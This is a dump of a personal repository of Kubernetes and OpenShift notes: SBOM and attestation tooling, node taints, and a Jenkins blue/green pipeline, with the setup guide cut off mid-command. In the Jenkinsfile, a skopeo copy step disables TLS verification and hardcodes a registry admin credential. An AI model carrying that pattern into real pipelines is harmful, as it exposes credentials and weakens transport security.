├── .gitignore ├── KUBEBUILDER.md ├── NOTES.md ├── README.md ├── SBOM.md ├── Taints.md ├── ansible.yml ├── applicationdev ├── jenkins_pipeline │ ├── Buildconfig.yaml │ ├── Jenkinsfile │ └── jenkins.md ├── jenkins_setup │ └── jenkins_setup.md ├── nexus │ ├── nexus.md │ └── svc.yaml ├── s2i_build │ └── build.md ├── sidecar │ ├── deplotconfig.yaml │ └── sidecar.md ├── sonarqube │ └── sonarqube.md ├── statefullset │ ├── headless_svc.yml │ ├── service.yml │ ├── statefull.yml │ └── statefullset.md └── tekton │ ├── build.yml │ └── tekton.md ├── azure.md ├── bra_att_ha.md ├── ceph.md ├── config.yaml ├── config_tls.md ├── default_project ├── project.md ├── template.yaml └── template_network.yaml ├── expose_image_reg.md ├── gcp.md ├── git.md ├── go_build.txt ├── grafana_easy ├── README.md ├── grafana-operator │ ├── Grafana.yaml │ ├── GrafanaDashboard.yaml │ ├── GrafanaDataSource.yaml │ ├── cluster_role.yaml │ ├── operator.yaml │ ├── role.yaml │ ├── role_binding.yaml │ ├── role_full_scan_access.yaml │ └── service_account.yaml └── grafana │ ├── .helmignore │ ├── Chart.yaml │ ├── README.md │ ├── templates │ ├── _helpers.tpl │ ├── cluster-role-grafana.yml │ ├── dashboard-sdm.yml │ ├── grafana-oauth-cluster-role.yaml │ ├── grafana-oauth-clusterrolebinding.yaml │ ├── grafana-oauth-session-secret.yaml │ ├── grafana-thanos-datasource.yaml │ ├── grafana.yaml │ └── ocp-injected-certs.yml │ └── values.yaml ├── hackthebox.md ├── imageServceacc.md ├── img ├── SLSA-attestation.png └── gcp_cve.png ├── kafka ├── connect.yaml ├── dashboard.json ├── hello-world.yaml ├── kafka-cluster.yaml ├── kafka.md ├── ksql │ ├── ksql-cli.sh │ └── ksqlDB-deployment.yaml ├── monitoring │ ├── strimzi-pod-monitor.yaml │ ├── strimzi-service-monitor-connect.yaml │ └── strimzi-service-monitor.yaml ├── service-registry │ ├── 11009103_kafka-serviceaccount2020-secret.yaml │ └── service-registry-template.yml └── topic.yaml ├── kind.md ├── kuberhealthy.md ├── kubernetes.md ├── kubernetes └── pod_exec.py ├── machineconfig.md ├── nats ├── 00-prereqs.yaml ├── 10-deployment.yaml └── nats.md ├── networkpolicy ├── allow_ingress.yml ├── allow_namespace.yml ├── backend_to_db.yml ├── deny_all.yml └── networkpolicy.md ├── oc.md ├── ocs.md ├── operator ├── operator.md ├── role.yaml └── role_binding.yaml ├── podAffinity.md ├── prometheus ├── cluster-monitoring-config.yaml ├── grafana │ ├── grafana-dasboard-kuberhealthy.yaml │ ├── grafana-instance-template.yaml │ └── openshift-metrics-datasource-template.yaml ├── monitoring.md ├── random_prom.yaml ├── rbac-mon.yaml └── service-monitor.yaml ├── remove_kubeadmin.md ├── security.md ├── tekton.md ├── velero.md └── velero ├── backup-pod.py ├── backup.yaml ├── credentials-velero ├── nginx-example.yaml ├── velero-snapshot.yaml └── velero.yaml /.gitignore: -------------------------------------------------------------------------------- 1 | .history/ 2 | -------------------------------------------------------------------------------- /KUBEBUILDER.md: -------------------------------------------------------------------------------- 1 | # Getting started kubebuilder 2 | 3 | Now a days etcd etcd is downloaded using the make file, you don't need to download it manually any more. 4 | 5 | ## With kind 6 | 7 | If you are running kubebuilder with kind I recomend that you update the makefile. 8 | 9 | Update the Makefile with the following info 10 | 11 | Due to kind you can't use :latest 12 | 13 | ```Makefile 14 | IMG ?= docker.io/flagger/tester:0.0.1 15 | 16 | kind-load: 17 | kind load docker-image ${IMG} 18 | 19 | ``` 20 | 21 | The deployment manifest needs to be uppdated as well. 22 | Edit: config/manager/manager.yaml 23 | 24 | Add: 25 | 26 | ```yaml 27 | imagePullPolicy: IfNotPresent 28 | ``` 29 | 30 | I'm unsure if you need to define docker.io or not, it seems like kind used it by default but it should probably be solved 31 | by setting the IfNotPresent. 32 | 33 | It looks like the manager.yaml doesen't get updated unless you do some specific things. 34 | It would probably be good to have a special kustomize patch command to use instead and call on it if you want to use the 35 | kind style deployment so you don't destory the default way of deploying... 36 | 37 | An excellent blog about kind and it's [load image](https://iximiuz.com/en/posts/kubernetes-kind-load-docker-image/) 38 | 39 | -------------------------------------------------------------------------------- /NOTES.md: -------------------------------------------------------------------------------- 1 | # Notes 2 | 3 | The recomendation in the docs is to use dpeloyment instead of deploymentconfig (dc). 4 | 5 | [ODO](https://github.com/openshift/odo) already does this, oc new-app ... dosen't. Probably won't change maybe ocp5... 6 | 7 | ## StatefulSet 8 | 9 | Is a normal kind in k8s. 10 | 11 | https://kubernetes.io/docs/tutorials/stateful-application/basic-stateful-set/ 12 | 13 | https://blog.openshift.com/kubernetes-statefulset-in-action/ 14 | 15 | Each pod get there own PVC that is directed to a PV. 16 | In the application layer you have to set up the replication betwenn the different pods to share the data. 17 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # K8s good to have 2 | 3 | This repo is for me to save how to do some stuff in OCP and k8s. 4 | 5 | Most of these stuff you will be able to find in k8s and OCP documentation. 6 | 7 | But for me it goes quicker to do a git grep then google. 8 | I do not support any of these commands and if you run in to issue please create an ISSUE but I don't promise that i can give you a solution. 9 | -------------------------------------------------------------------------------- /SBOM.md: -------------------------------------------------------------------------------- 1 | # SBOM, licenses, attestation gathering and visulization 2 | 3 | This work is from a 2 day hackathon where I mostly focused on gathering info and performing small PoC. 4 | 5 | My goal was to look for tools that can help us sovling the following issues 6 | 7 | - Get a hold of CVEs at company 8 | - Show which licenses we use within company (this we allready have a solution for) 9 | - Provenance (build metadata) attesations for artifacts 10 | - Be able to visaulze this data in a good way 11 | - Potentially generate metrics from some of this data 12 | 13 | Bellow you will find my thoughts and the differnt tools I have taken a deeper look at. 14 | You can find a rant summary first. 15 | 16 | ## Summary 17 | 18 | In my mind I have realtivly limited scope. I want 1 tool to visaulize CVEs, licesnes, SBOMs and attestations. 19 | I don't need the perfect Secure Software Factory and I just want a relativly easy way to upload our developers container image builds 20 | to generate SBOMs and provenance attestaion and preferably sign them with a private PKI. 21 | 22 | In the long run I want to have a admission webhook in Kubernetes that verfies that all my images are signed by the PKI. 23 | 24 | I don't want to use the public Sigstore instance due to leakage of internal information, and to me it's kind of strange that any none entreprise solution would. 25 | It's like saying metadata isn't enough to track a human, just ask facebook and google and see what they say about that. 26 | I might have missunderstood Sigstore, and how they see things, but I think it's strange that people don't seem to care. 27 | 28 | The open-source space around this is very inmeture, there are a number of ways of projects but it's just a bunch of building blocks and defainlty no fancy UI to visaulize all the data I want to see. 29 | 30 | There are a few comapnies that is working hard to solve this, for example Changelog, but they are pricesed out of there minds, well since there customers is the American goverment. 31 | And this applies to all security companies... I have looked at old school solutions as well. 32 | And they want like 60$ a month per user, that is 6 times as much as GitHub costs us, which is something that me as a developer use every single day. 33 | This tool should only be used preferably when I get an alert that I have a bunch of CVEs in my image or I have started to use some stupid license that I don't like. 34 | Even better they create a automatic PR to my repo that bumps my dependcies/container image and those issues are solved. 35 | 36 | ## in-toto 37 | 38 | In-toto is a framework to generate attesations, and it also contains a standard how they should look. 39 | It's part of CNCF and the framework/standard seems to have gotten decent traction. 40 | 41 | To store in-toto attesations we could [use](https://github.com/in-toto/archivista), which provides a graphQlL interface 42 | to visaulze how different attesations connect together. 43 | 1 44 | I think a SBOM can be in the attesation format, but I also think it's possible to attach attesation to a SBOM, see [CDXA](https://cyclonedx.org/capabilities/attestations/). 45 | 46 | The archivista API have no support for managing CVEs and is more or less just a graphQl API infront of a few s3 buckets with a metadata database. 47 | If our goal would have been to attest how a container has been built and being able to verify that with a adminssion webhook in Kubernetes it would work. 48 | But since my focus is both on CVE generation and provenenace then creating a perfect [Secure Software Factory](https://www.chainguard.dev/unchained/secure-your-software-factory-with-melange-and-apko) it's not the correct fit. 49 | 50 | ## GCP 51 | 52 | GCPs SBOM and CVE support have improving allot recently. I looked on it around 1 year ago, and it was more or less worthless. 53 | Today we can atleast view CVEs in the UI in a decent way and can connect SBOM to container images. 54 | 55 | ### Generate SBOM by KO 56 | 57 | To generate SBOM locally using KO 58 | 59 | ```shell 60 | export KO_DOCKER_REPO=ko.local 61 | ko build --sbom=none --bare --platform linux/amd64 -t http-proxy-iap --image-refs .digest main.go -L 62 | ``` 63 | 64 | To push it to GCP 65 | 66 | ```shell 67 | export KO_DOCKER_REPO=europe-west1-docker.pkg.dev/foo/sbom-poc/http-proxy-iap 68 | ko build --sbom=none --bare --platform linux/amd64 -t test1 --image-refs .digest main.go 69 | ``` 70 | 71 | To upload a custom SBOM to a specific image. 72 | 73 | ```shell 74 | gcloud artifacts sbom export --uri=europe-west1-docker.pkg.dev/foo/sbom-poc/http-proxy-iap:test1 75 | ``` 76 | 77 | ### Genernera SBOM using cdxgen 78 | 79 | ```shell 80 | cdxgen -t oci ko.local:5b7b28cfdd64a6217228283bea8e6ca0e7d746c6a770ca88976610ec650b97be -spec-version 1.5 81 | 82 | 83 | gcloud artifacts sbom load / 84 | --source=bom.json 85 | --uri=europe-west1-docker.pkg.dev/foo/sbom-poc/http-proxy-iap:test1 86 | 87 | 88 | gcloud artifacts docker images describe europe-west1-docker.pkg.dev/foo/sbom-poc/http-proxy-iap:test1 --show-sbom-references --format json | jq -r '.image_summary.sbom_locations[0]' 89 | ``` 90 | 91 | This will give you an image like this, the problem is that even after I added a new SBOM it don't provide me with more license information. 92 | So even I have complemented the SBOM that was intialy generated the UI don't understand this. 93 | 94 | If i remember correctly the initial SBOM that I created was trough the GCP image scanner, but in general we will have removed so much 95 | metadata from the application packages that a image scan won't be able to find that kind of info. That is why I want to add a second SBOM that is generated from application data instead. 96 | 97 | ![gcp](./img/gcp_cve.png) 98 | 99 | I will reach out to my GCP contacts and talk to them if we can get a walktrough of how they see this working and what I'm doing wrong. 100 | How do they see this working in the future? 101 | 102 | ## Sigstore 103 | 104 | I have been in this part of the internet before. 105 | We don't want to sign our artifacts/sbom/attesations with Sigstore since it would leake a bunch of internal info. These tools are built for open-source. 106 | 107 | In short we could manage our [own](https://github.com/sigstore/scaffolding) sigtstore instance but it's hard as hell and not worth it. 108 | Also most of the tooling like [SLSA](https://slsa.dev/) don't support custom sigstore isntances. 109 | 110 | ## GitHub 111 | 112 | The enterprise offering of GitHub supports attestation out of the [box](https://docs.github.com/en/actions/security-for-github-actions/using-artifact-attestations/using-artifact-attestations-to-establish-provenance-for-builds). 113 | They also host there own sigstore witch is kind of cool, don't know if it's private per company though. 114 | They have there own attesations [generator](https://github.com/actions/attest-build-provenance). 115 | 116 | We could probably also use the private sigstore to sign our images, but I haven't see any information about it. 117 | But on the other hand GiTHub don't provide any UI to visaulze the attesations other then a download list in a hidden part of the GitHub UI. 118 | 119 | So I think they are in very early stages, and for CVE managment they mostly lean back on there own CVE system, but what I have seen they don't give a great 120 | overview on a org base. But I might be wrong here. 121 | 122 | I don't think it supports container image scannig, and instead focuses on package level, which makes sense from there point of view. 123 | It could be interesting to chat with sales of GitHub and get a good walktrough on what they can do. 124 | 125 | ## Chainguard 126 | 127 | I spoke to them around 1 year ago, and they are extermly expensive and they want around 100$ per node in our k8s clusters. 128 | In short fuck that. 129 | 130 | Other then that it seems like that have added more and more features to visaulize CVEs based from SBOM and licenses. 131 | So it would be a great fit for what I would like to use. 132 | 133 | ## SLSA framework 134 | 135 | The SLSA framework is there to help to generate provenance (metadata) attestations, for example from which PR was this build triggerd, 136 | what is the repo this artifact came from etc. 137 | 138 | The problem for me is that they rely on Sigstore to sign all the generated attestations, and If you set don't sign at sigstore the job fails. 139 | 140 | ![SLSA](./img/SLSA-attestation.png) 141 | 142 | and when I checked I can't find any config that is skip if it fails generate the attestation for me and put it in this file. 143 | I will handle uploading it. My guess this is because the want to reach higher [SLSA levels](https://slsa.dev/spec/v1.0/levels). 144 | 145 | There is a way to build your own SLSA action [BYOB](https://github.com/slsa-framework/slsa-github-generator/blob/main/BYOB.md). 146 | And I found a walktrough presentation from [packagingCon 2023](https://www.youtube.com/watch?v=2ylWiUokBRw&ab_channel=PackagingCon) about it. 147 | So together with this it should be possible to get rid of the stupid fail if you don't use Sigstore. 148 | 149 | There are issues open about supporting private [PKI](https://github.com/slsa-framework/slsa-github-generator/issues/34) 150 | and [private Sigstore](https://github.com/slsa-framework/slsa-github-generator/issues/3607). But nothing has happened on them. 151 | 152 | ## Dependecy Track (DT) 153 | 154 | So this is the most meture soltuion in the open-source world that I can find. 155 | 156 | - It scans SBOMs and generate CVE reports from it 157 | - You can upload SBOMs and read them 158 | 159 | Sadly it don't support 160 | 161 | - Signing of artifact (nothing I want right now but in the future we do) 162 | - License support there 163 | - [Attestation](https://github.com/DependencyTrack/dependency-track/issues/651) support is missing 164 | 165 | But they have a policy engine and slack integration. 166 | But the project will probably never solve everything I want. They are currently working towards making DT more operations friednly with the [hyades](https://github.com/DependencyTrack/hyades/) project. 167 | Witch will make DT decent in a Kubernetes env, and support better scale (IBM is a big bagger of DT). 168 | But they have been working on hyades and they are scope creeping delux and it never gets merged in to DT it self. So I don't expect any miracles any time soon. 169 | 170 | ## Genaerting SBOM 171 | 172 | I recently started playing with how to generate SBOMs and as everyting else it's a jungle. 173 | I'm focusing on CycloneDX since im mostly leaning towards using DT. 174 | 175 | Sadly different tools interpet data differnetly, for example [components.type](https://cyclonedx.org/docs/1.6/json/#components_items_type) are both framework or library. 176 | For example [https://github.com/CycloneDX/cdxgen](https://github.com/CycloneDX/cdxgen) generates a SBOM that uses framework. 177 | 178 | While [https://github.com/CycloneDX/cyclonedx-gomod](https://github.com/CycloneDX/cyclonedx-gomod), uses library, when they both are built on the go files. 179 | 180 | I have uploaded some raw SBOM files to look at here in a [PR](https://github.com/NissesSenap/sbom-api/pull/8) where i play around. 181 | 182 | ### Summarize 183 | 184 | I think it's resonable that you should generate two SBOMs per application, once for your container and once for your programming language. 185 | There is probably some decent way of ignoring all the package info from your app in the container, so you don't get dupilicate app info, with different info. 186 | If not, probably just use `jq` to remove a bunch of stuff from yor app in the container SBOM and then use cyclonedx to merge them. 187 | 188 | ### cdxgen 189 | 190 | ```shell 191 | cdxgen -t golang -o go-bom.json . 192 | ``` 193 | 194 | ### cdxgen container image 195 | 196 | ```shell 197 | export KO_DOCKER_REPO=ko.local 198 | ko build --sbom=none --bare --platform linux/amd64 -t test1 --image-refs .digest main.go 199 | 200 | # tell cdxgen to gather licenses from the generated docker artifact 201 | export FETCH_LICENSE=true 202 | cdxgen -t oci ko.local:5b7b28cfdd64a6217228283bea8e6ca0e7d746c6a770ca88976610ec650b97be -spec-version 1.6 -o container-bom.json 203 | ``` 204 | 205 | ### cyclonedx-gomod 206 | 207 | Using this command I was able to find the version. 208 | 209 | ```shell 210 | cyclonedx-gomod app -json -output gomod.bom.json -packages -files -licenses -main cmd/sbom-api/ 211 | ``` 212 | 213 | ### cyclonedx merge and diff 214 | 215 | Merge can be used to put multiple SBOM together, which is useful. But make sure that they contain different info. 216 | For example the merge tool can't handle similar pickages but not exact, so when I used cyclonedx-gomod and cdxgen that was built on my go packages. 217 | And it wasnt able to merge the different components in a good way. 218 | 219 | ```shell 220 | # merge 221 | cyclonedx merge --input-files gomod.bom.json container-bom.json --output-file merged.json 222 | ``` 223 | 224 | You could think that diff is used to compare different component output and similar stuff. 225 | But it's more or less just to compare package versions, using component-versions. 226 | 227 | ```shell 228 | # diff 229 | $ cyclonedx diff go-bom-version1.json go-bom-version2.json --output-format text --component-versions 230 | Component versions that have changed: 231 | - golang.org/x/text @ v0.21.0 232 | + golang.org/x/text @ v0.21.1 233 | ``` 234 | 235 | So could be useful if you don't have something like DT. 236 | 237 | ## Minder 238 | 239 | [Minder](https://mindersec.dev/) is a part of [OpenSSF](https://openssf.org/blog/2024/10/28/openssf-adds-minder-as-a-sandbox-project-to-simplify-the-integration-and-use-of-open-source-security-tools/) 240 | as a sandbox project. It doesen't have anything to do with SBOM, but it's an interesting tool 241 | 242 | It can be used to setup best practices for your GitHub org, anad they more or less listens to all events from GitHub. 243 | They also have a cloud solution but no prizing info, the creators of the software is one of the creator of Sigstore and Kubernetes, so they know there stuff. 244 | 245 | ## stacklok insights 246 | 247 | Help you to perform due diligence on third party packages and can give you a overall health of an project. 248 | [https://www.insight.stacklok.com/](https://www.insight.stacklok.com/) 249 | -------------------------------------------------------------------------------- /Taints.md: -------------------------------------------------------------------------------- 1 | # Taintis 2 | 3 | All of this can be done in k8s as well. 4 | 5 | ## Taint infra node in OCP 6 | 7 | This file goes through how to only run ceartin workloads 8 | on a specific machine. In this case a infra node. 9 | 10 | ### Taint node 11 | 12 | ```bash 13 | oc adm taint node infra-1a-fxb5b infra=reserved:NoSchedule 14 | oc adm taint node infra-1a-fxb5b infra=reserved:NoExecute 15 | ``` 16 | 17 | This generates the following output in the node 18 | 19 | ```yaml 20 | spec: 21 | providerID: openstack://269dc19f-ff7d-4d27-bd20-60d15dd5d616 22 | taints: 23 | - effect: NoExecute 24 | key: infra 25 | value: reserved 26 | - effect: NoSchedule 27 | key: infra 28 | value: reserved 29 | ``` 30 | 31 | ### Taint MachineSet 32 | 33 | If you are using a MachineSet don't forget to add your taint 34 | 35 | ```oc patch machineset infra-1a -n openshift-machine-api --type='merge' --patch='{"spec": {"template": {"spec": {"taints": [{"key": "infra","value": "reserved","effect": "NoSchedule"},{"key": "infra","value": "reserved","effect": "NoExecute"}]}}}}'``` 36 | 37 | ### NodeSelector pod 38 | 39 | This will match the above node 40 | 41 | #### Ingresscontroller 42 | 43 | Patching a CRD, note the "nodePlacement". 44 | 45 | ```oc patch ingresscontroller default -n openshift-ingress-operator --type=merge --patch='{"spec":{"nodePlacement": {"nodeSelector": {"matchLabels": {"node-role.kubernetes.io/infra": ""}},"tolerations": [{"effect":"NoSchedule","key": "infra","value": "reserved"},{"effect":"NoExecute","key": "infra","value": "reserved"}]}}}'``` 46 | 47 | #### Imageregistry 48 | 49 | ```oc patch configs.imageregistry.operator.openshift.io/cluster -n openshift-image-registry --type=merge --patch '{"spec":{"nodeSelector":{"node-role.kubernetes.io/infra":""}}}'``` 50 | 51 | ### Openshift-monitoring operator 52 | 53 | To taint the openshift-monitoring operator aka prometheus you need to a create a configmap. 54 | 55 | See [config.yaml](config.yaml) to see how it looks. 56 | -------------------------------------------------------------------------------- /ansible.yml: -------------------------------------------------------------------------------- 1 | # Vim settings at RedHat for yaml 2 | # autocmd FileType yaml setlocal ai ts=2 sw=2 et 3 | --- 4 | 5 | - name: fuu 6 | hosts: localhost 7 | 8 | tasks: 9 | - name: ping 10 | ping: 11 | data: pong -------------------------------------------------------------------------------- /applicationdev/jenkins_pipeline/Buildconfig.yaml: -------------------------------------------------------------------------------- 1 | kind: "BuildConfig" 2 | apiVersion: "v1" 3 | metadata: 4 | name: "tasks-pipeline" 5 | spec: 6 | source: 7 | type: "Git" 8 | git: 9 | uri: "http://gogs-gogs.c0e7-gogs.svc.cluster.local:3000/CICDLabs/openshift-tasks-private" 10 | strategy: 11 | type: "JenkinsPipeline" 12 | jenkinsPipelineStrategy: 13 | jenkinsfilePath: Jenkinsfile 14 | -------------------------------------------------------------------------------- /applicationdev/jenkins_pipeline/Jenkinsfile: -------------------------------------------------------------------------------- 1 | // Set your project Prefix using your GUID 2 | def prefix = "c0e7" 3 | 4 | // Set variable globally to be available in all stages 5 | // Set Maven command to always include Nexus Settings 6 | def mvnCmd = "mvn -s ./nexus_openshift_settings.xml" 7 | // Set Development and Production Project Names 8 | def devProject = "${prefix}-tasks-dev" 9 | def prodProject = "${prefix}-tasks-prod" 10 | // Set the tag for the development image: version + build number 11 | def devTag = "0.0-0" 12 | // Set the tag for the production image: version 13 | def prodTag = "0.0" 14 | def destApp = "tasks-green" 15 | def activeApp = "" 16 | 17 | pipeline { 18 | agent { 19 | // Using the Jenkins Agent Pod that we defined earlier 20 | label "maven-appdev" 21 | } 22 | stages { 23 | // Checkout Source Code and calculate Version Numbers and Tags 24 | stage('Checkout Source') { 25 | steps { 26 | //Get code from protected Git repository 27 | git credentialsId: "123043bc-ceee-4b54-a909-01ee0d5d760e", url: "http://gogs-gogs.${prefix}-gogs.svc.cluster.local:3000/CICDLabs/openshift-tasks-private.git" 28 | // checkout scm 29 | 30 | script { 31 | def pom = readMavenPom file: 'pom.xml' 32 | def version = pom.version 33 | 34 | // TBD: Set the tag for the development image: version + build number. 35 | // Example: def devTag = "0.0-0" 36 | devTag = "${version}-$BUILD_NUMBER" 37 | 38 | // TBD: Set the tag for the production image: version 39 | // Example: def prodTag = "0.0" 40 | prodTag = "${version}" 41 | 42 | } 43 | } 44 | } 45 | 46 | // Using Maven build the war file 47 | // Do not run tests in this step 48 | stage('Build War File') { 49 | steps { 50 | echo "Building version ${devTag}" 51 | sh "${mvnCmd} clean install -DskipTests=true" 52 | 53 | } 54 | } 55 | 56 | // Using Maven run the unit tests 57 | stage('Unit Tests') { 58 | steps { 59 | echo "Running Unit Tests" 60 | sh "${mvnCmd} test" 61 | } 62 | } 63 | 64 | //Using Maven call SonarQube for Code Analysis 65 | stage('Code Analysis') { 66 | steps { 67 | echo "Running Code Analysis" 68 | script { 69 | sh "${mvnCmd} sonar:sonar -Dsonar.host.url=http://sonarqube-c0e7-sonarqube.apps.cluster-raleigh.raleigh.example.opentlc.com -Dsonar.projectName=${JOB_BASE_NAME} -Dsonar.projectVersion=${devTag}" 70 | } 71 | } 72 | } 73 | 74 | // Publish the built war file to Nexus 75 | stage('Publish to Nexus') { 76 | steps { 77 | echo "Publish to Nexus" 78 | sh "${mvnCmd} deploy -DskipTests=true \ 79 | -DaltDeploymentRepository=nexus::default::http://nexus.${prefix}-nexus.svc.cluster.local:8081/repository/releases" 80 | } 81 | } 82 | 83 | // Build the OpenShift Image in OpenShift and tag it. 84 | stage('Build and Tag OpenShift Image') { 85 | steps { 86 | echo "Building OpenShift container image tasks:${devTag}" 87 | script { 88 | openshift.withCluster() { 89 | openshift.withProject("${devProject}") { 90 | openshift.selector("bc", "tasks").startBuild("--from-file=./target/openshift-tasks.war", "--wait=true") 91 | openshift.tag("tasks:latest", "tasks:${devTag}") 92 | } 93 | } 94 | } 95 | } 96 | } 97 | // Deploy the built image to the Development Environment. 98 | stage('Deploy to Dev') { 99 | steps { 100 | echo "Deploy container image to Development Project" 101 | script { 102 | openshift.withCluster() { 103 | openshift.withProject("${devProject}") { 104 | openshift.set("image", "dc/tasks", "tasks=image-registry.openshift-image-registry.svc:5000/${devProject}/tasks:${devTag}") 105 | 106 | // Deploy configmap 107 | openshift.selector('configmap', 'tasks-config').delete() 108 | def configmap = openshift.create('configmap', 'tasks-config', '--from-file=./configuration/application-users.properties', '--from-file=./configuration/application-roles.properties' ) 109 | 110 | // Deploy tasks 111 | openshift.selector("dc", "tasks").rollout().latest(); 112 | // Wait for application to be deployed 113 | def dc = openshift.selector("dc", "tasks").object() 114 | def dc_version = dc.status.latestVersion 115 | def rc = openshift.selector("rc", "tasks-${dc_version}").object() 116 | 117 | echo "Waiting for ReplicationController tasks-${dc_version} to be ready" 118 | while (rc.spec.replicas != rc.status.readyReplicas) { 119 | sleep 5 120 | rc = openshift.selector("rc", "tasks-${dc_version}").object() 121 | } 122 | } 123 | } 124 | } 125 | } 126 | } 127 | // Run Integration Tests in the Development Environment. 128 | stage('Integration Tests') { 129 | steps { 130 | echo "Running Integration Tests" 131 | script { 132 | // TODO: Rewrite as a python 133 | echo "Creating task" 134 | } 135 | } 136 | } 137 | 138 | // Copy Image to Nexus Container Registry 139 | stage('Copy Imag to Nexus Container Registry') { 140 | steps { 141 | echo "Copy image to Nexus Container Registry" 142 | script { 143 | sh "skopeo copy --src-tls-verify=false --dest-tls-verify=false --src-creds openshift:\$(oc whoami -t) --dest-creds admin:app_deploy docker://image-registry.openshift-image-registry.svc.cluster.local:5000/${devProject}/tasks:${devTag} docker://nexus-registry.${prefix}-nexus.svc.cluster.local:5000/tasks:${devTag}" 144 | openshift.withCluster() { 145 | openshift.withProject("${prodProject}") { 146 | openshift.tag("${devProject}/tasks:${devTag}", "${devProject}/tasks:${prodTag}") 147 | } 148 | } 149 | } 150 | } 151 | } 152 | 153 | // Blue/Green Deployment into Production 154 | // ------------------------------------- 155 | // Do not activate the new version yet. 156 | stage('Blue/Green Production Deployment') { 157 | steps { 158 | echo "Blue/Green Deployment" 159 | script { 160 | openshift.withCluster() { 161 | openshift.withProject("${prodProject}") { 162 | activeApp = openshift.selector("route", "tasks").object().spec.to.name 163 | if (activeApp == "tasks-green") { 164 | destApp = "tasks-blue" 165 | } 166 | echo "Active Application: " + activeApp 167 | echo "Destination Application: " + destApp 168 | 169 | // Update the Image on the Production Deployment Config 170 | def dc = openshift.selector("dc/${destApp}").object() 171 | 172 | dc.spec.template.spec.containers[0].image="image-registry.openshift-image-registry.svc:5000/${devProject}/tasks:${prodTag}" 173 | 174 | openshift.apply(dc) 175 | 176 | // Update Config Map in change config files changed in the source 177 | openshift.selector("configmap", "${destApp}-config").delete() 178 | def configmap = openshift.create("configmap", "${destApp}-config", "--from-file=./configuration/application-users.properties", "--from-file=./configuration/application-roles.properties" ) 179 | 180 | // Deploy the inactive application. 181 | openshift.selector("dc", "${destApp}").rollout().latest(); 182 | 183 | // Wait for application to be deployed 184 | def dc_prod = openshift.selector("dc", "${destApp}").object() 185 | def dc_version = dc_prod.status.latestVersion 186 | def rc_prod = openshift.selector("rc", "${destApp}-${dc_version}").object() 187 | echo "Waiting for ${destApp} to be ready" 188 | while (rc_prod.spec.replicas != rc_prod.status.readyReplicas) { 189 | sleep 5 190 | rc_prod = openshift.selector("rc", "${destApp}-${dc_version}").object() 191 | } 192 | } 193 | } 194 | } 195 | } 196 | } 197 | 198 | stage('Switch over to new Version') { 199 | steps { 200 | input "Switch Production?" 201 | 202 | echo "Switching Production application to ${destApp}." 203 | script { 204 | openshift.withCluster() { 205 | openshift.withProject("${prodProject}") { 206 | def route = openshift.selector("route/tasks").object() 207 | route.spec.to.name="${destApp}" 208 | openshift.apply(route) 209 | } 210 | } 211 | } 212 | } 213 | } 214 | } 215 | } -------------------------------------------------------------------------------- /applicationdev/jenkins_pipeline/jenkins.md: -------------------------------------------------------------------------------- 1 | # Jenkins 2 | 3 | So lets set up a basic pipeline that builds stuff in dev and pushes in using a blue-green deployment to prod. 4 | 5 | ## Setup dev env 6 | 7 | ```bash 8 | # Set up Dev Project 9 | oc new-project ${GUID}-tasks-dev --display-name "${GUID} Tasks Development" 10 | oc policy add-role-to-user edit system:serviceaccount:${GUID}-jenkins:jenkins -n ${GUID}-tasks-dev 11 | 12 | # Set up Dev Application 13 | oc new-build --binary=true --name="tasks" jboss-eap72-openshift:1.0 -n ${GUID}-tasks-dev 14 | 15 | # NOTICE --allow-missing-imagestream-tags=true 16 | oc new-app ${GUID}-tasks-dev/tasks:0.0-0 --name=tasks --allow-missing-imagestream-tags=true -n ${GUID}-tasks-dev 17 | 18 | oc set triggers dc/tasks --remove-all -n ${GUID}-tasks-dev 19 | 20 | oc expose dc tasks --port 8080 -n ${GUID}-tasks-dev 21 | 22 | oc expose svc tasks -n ${GUID}-tasks-dev 23 | 24 | oc set probe dc/tasks -n ${GUID}-tasks-dev --readiness --failure-threshold 3 --initial-delay-seconds 60 --get-url=http://:8080/ 25 | 26 | oc create configmap tasks-config --from-literal="application-users.properties=Placeholder" --from-literal="application-roles.properties=Placeholder" -n ${GUID}-tasks-dev 27 | 28 | oc set volume dc/tasks --add --name=jboss-config --mount-path=/opt/eap/standalone/configuration/application-users.properties --sub-path=application-users.properties --configmap-name=tasks-config -n ${GUID}-tasks-dev 29 | 30 | oc set volume dc/tasks --add --name=jboss-config1 --mount-path=/opt/eap/standalone/configuration/application-roles.properties --sub-path=application-roles.properties --configmap-name=tasks-config -n ${GUID}-tasks-dev 31 | ``` 32 | 33 | ## Setup prod 34 | 35 | ```bash 36 | # Set up Production Project 37 | oc new-project ${GUID}-tasks-prod --display-name "${GUID} Tasks Production" 38 | oc policy add-role-to-group system:image-puller system:serviceaccounts:${GUID}-tasks-prod -n ${GUID}-tasks-dev 39 | oc policy add-role-to-user edit system:serviceaccount:${GUID}-jenkins:jenkins -n ${GUID}-tasks-prod 40 | 41 | # Create Blue Application 42 | oc new-app ${GUID}-tasks-dev/tasks:0.0 --name=tasks-blue --allow-missing-imagestream-tags=true -n ${GUID}-tasks-prod 43 | oc set triggers dc/tasks-blue --remove-all -n ${GUID}-tasks-prod 44 | oc expose dc tasks-blue --port 8080 -n ${GUID}-tasks-prod 45 | oc set probe dc tasks-blue -n ${GUID}-tasks-prod --readiness --failure-threshold 3 --initial-delay-seconds 60 --get-url=http://:8080/ 46 | oc create configmap tasks-blue-config --from-literal="application-users.properties=Placeholder" --from-literal="application-roles.properties=Placeholder" -n ${GUID}-tasks-prod 47 | oc set volume dc/tasks-blue --add --name=jboss-config --mount-path=/opt/eap/standalone/configuration/application-users.properties --sub-path=application-users.properties --configmap-name=tasks-blue-config -n ${GUID}-tasks-prod 48 | oc set volume dc/tasks-blue --add --name=jboss-config1 --mount-path=/opt/eap/standalone/configuration/application-roles.properties --sub-path=application-roles.properties --configmap-name=tasks-blue-config -n ${GUID}-tasks-prod 49 | 50 | # Create Green Application 51 | oc new-app ${GUID}-tasks-dev/tasks:0.0 --name=tasks-green --allow-missing-imagestream-tags=true -n ${GUID}-tasks-prod 52 | oc set triggers dc/tasks-green --remove-all -n ${GUID}-tasks-prod 53 | oc expose dc tasks-green --port 8080 -n ${GUID}-tasks-prod 54 | oc set probe dc tasks-green -n ${GUID}-tasks-prod --readiness --failure-threshold 3 --initial-delay-seconds 60 --get-url=http://:8080/ 55 | oc create configmap tasks-green-config --from-literal="application-users.properties=Placeholder" --from-literal="application-roles.properties=Placeholder" -n ${GUID}-tasks-prod 56 | oc set volume dc/tasks-green --add 